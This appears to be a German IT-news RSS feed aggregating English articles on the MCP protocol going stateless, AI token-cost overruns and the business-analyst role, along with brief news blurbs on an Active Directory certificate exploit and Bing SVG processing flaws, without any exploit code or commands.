<pubDate>Fri, 24 Jul 2026 17:40:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Fri, 24 Jul 2026 17:38:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4201254/model-context-protocol-is-going-stateless-to-make-scaling-simpler.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Certighost Exploit Lets Low-Privileged Active Directory Users Impersonate a Domain Controller]]></title>
<description><![CDATA[Researchers H0j3n and Aniq Fakhrul published a working exploit on July 24 that lets a low-privileged Active Directory user obtain a certificate for a Domain Controller and authenticate as that machine. They codenamed the flaw Certighost. Because Domain Controller accounts…
Read more →
The post Ce...]]></description>
<link>https://tsecurity.de/de/3691870/it-security-nachrichten/certighost-exploit-lets-low-privileged-active-directory-users-impersonate-a-domain-controller/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691870/it-security-nachrichten/certighost-exploit-lets-low-privileged-active-directory-users-impersonate-a-domain-controller/</guid>
<pubDate>Fri, 24 Jul 2026 17:07:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Researchers H0j3n and Aniq Fakhrul published a working exploit on July 24 that lets a low-privileged Active Directory user obtain a certificate for a Domain Controller and authenticate as that machine. They codenamed the flaw Certighost. Because Domain Controller accounts…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/certighost-exploit-lets-low-privileged-active-directory-users-impersonate-a-domain-controller/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/certighost-exploit-lets-low-privileged-active-directory-users-impersonate-a-domain-controller/">Certighost Exploit Lets Low-Privileged Active Directory Users Impersonate a Domain Controller</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Certighost Exploit Lets Low-Privileged Active Directory Users Impersonate a Domain Controller]]></title>
<description><![CDATA[Researchers H0j3n and Aniq Fakhrul published a working exploit on July 24 that lets a low-privileged Active Directory user obtain a certificate for a Domain Controller and authenticate as that machine.

They codenamed the flaw Certighost. Because Domain Controller accounts carry directory replica...]]></description>
<link>https://tsecurity.de/de/3691867/it-security-nachrichten/certighost-exploit-lets-low-privileged-active-directory-users-impersonate-a-domain-controller/</link>
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<pubDate>Fri, 24 Jul 2026 17:04:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Researchers H0j3n and Aniq Fakhrul published a working exploit on July 24 that lets a low-privileged Active Directory user obtain a certificate for a Domain Controller and authenticate as that machine.

They codenamed the flaw Certighost. Because Domain Controller accounts carry directory replication rights, the resulting Kerberos credential can retrieve the krbtgt secret through DCSync.]]></content:encoded>
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<title><![CDATA[Bing Images Flaws Let Crafted SVGs Run Commands as SYSTEM on Microsoft's Servers]]></title>
<description><![CDATA[A crafted SVG submitted to Bing's image search ran commands as NT AUTHORITY\SYSTEM on Microsoft's production image-processing workers, and as root on the Linux machines in the same fleet.

XBOW's testing got the same result on workers across different hosts and network ranges, so the problem sat ...]]></description>
<link>https://tsecurity.de/de/3691641/it-security-nachrichten/bing-images-flaws-let-crafted-svgs-run-commands-as-system-on-microsofts-servers/</link>
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<pubDate>Fri, 24 Jul 2026 15:11:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A crafted SVG submitted to Bing's image search ran commands as NT AUTHORITY\SYSTEM on Microsoft's production image-processing workers, and as root on the Linux machines in the same fleet.

XBOW's testing got the same result on workers across different hosts and network ranges, so the problem sat in Bing's image tier, not on one bad machine. Microsoft issued two critical CVEs, CVE-2026-32194 and]]></content:encoded>
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<title><![CDATA[So verlieren Hacker die Freude an Machine Identity-Angriffen - it-daily.net]]></title>
<description><![CDATA[Der Sicherheitsdienstleister Ontinue warnt gegenüber it-daily.net vor automatisierten Angriffen und nennt Gegenmaßnahmen. Service Principals sind ...]]></description>
<link>https://tsecurity.de/de/3691590/it-security-nachrichten/so-verlieren-hacker-die-freude-an-machine-identity-angriffen-it-dailynet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691590/it-security-nachrichten/so-verlieren-hacker-die-freude-an-machine-identity-angriffen-it-dailynet/</guid>
<pubDate>Fri, 24 Jul 2026 14:59:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Der Sicherheitsdienstleister Ontinue warnt gegenüber <b>it</b>-daily.net vor automatisierten Angriffen und nennt Gegenmaßnahmen. Service Principals sind ...]]></content:encoded>
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<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691453/it-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Fri, 24 Jul 2026 14:04:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
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<pubDate>Fri, 24 Jul 2026 12:09:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



